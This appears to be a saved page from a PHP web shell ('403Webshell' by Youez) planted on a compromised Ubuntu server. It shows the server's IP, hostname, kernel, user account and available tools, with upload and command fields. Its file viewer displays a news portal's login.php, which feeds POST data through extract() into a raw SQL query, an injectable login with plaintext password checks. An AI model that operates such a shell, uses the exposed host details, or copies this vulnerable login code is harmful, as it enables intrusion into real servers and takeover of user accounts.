403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/projects/news_portal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/projects/news_portal/login.php
<?php
extract($_POST);
	if(isset($login))
	{
		$que = "select * from register where email='$email'  and password='$pass'";
			$run = mysql_query ( $que );
			
		$user = mysql_num_rows ( $run );
		if($user>0)
		{
			$_SESSION['email']=$email;
			header('location:index.php');
		}
		else
		{
			$err1= "<font color='#F58D8F'>Please enter correct email-id or password</font>";
		}
	}
	?>

<div class="modal-content">
        <div class="modal-header">
          <button type="button" class="close" data-dismiss="modal">&times;</button>
          <h4 class="modal-title">User-Login(Only for registred users)</h4>
        </div>
        <div class="modal-body">
          <div>
              <form action="" method="post" id="loginform">
              <div class="form-group"><span id="err"><?php echo @$err1;?></span>
</div>
			  <div class="form-group">
			                      <label>Email</label>
                    <input type="email" class="form-control" autocomplete="off" id="email" name="email" 
					placeholder="Your Email.." required>
               </div> 
               <div class="form-group">
                    <label>Password</label>
                    <input type="password" class="form-control" autocomplete="off"
					id="password" name="pass" placeholder="Your Password.." required>
                </div>
                    <input type="submit" id="submit" style="width:150px" value="Login" name="login">
              </form>
		</div>

        </div>
        <div class="modal-footer">
          <button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
        </div>
      </div>
      

Youez - 2016 - github.com/yon3zu
LinuXploit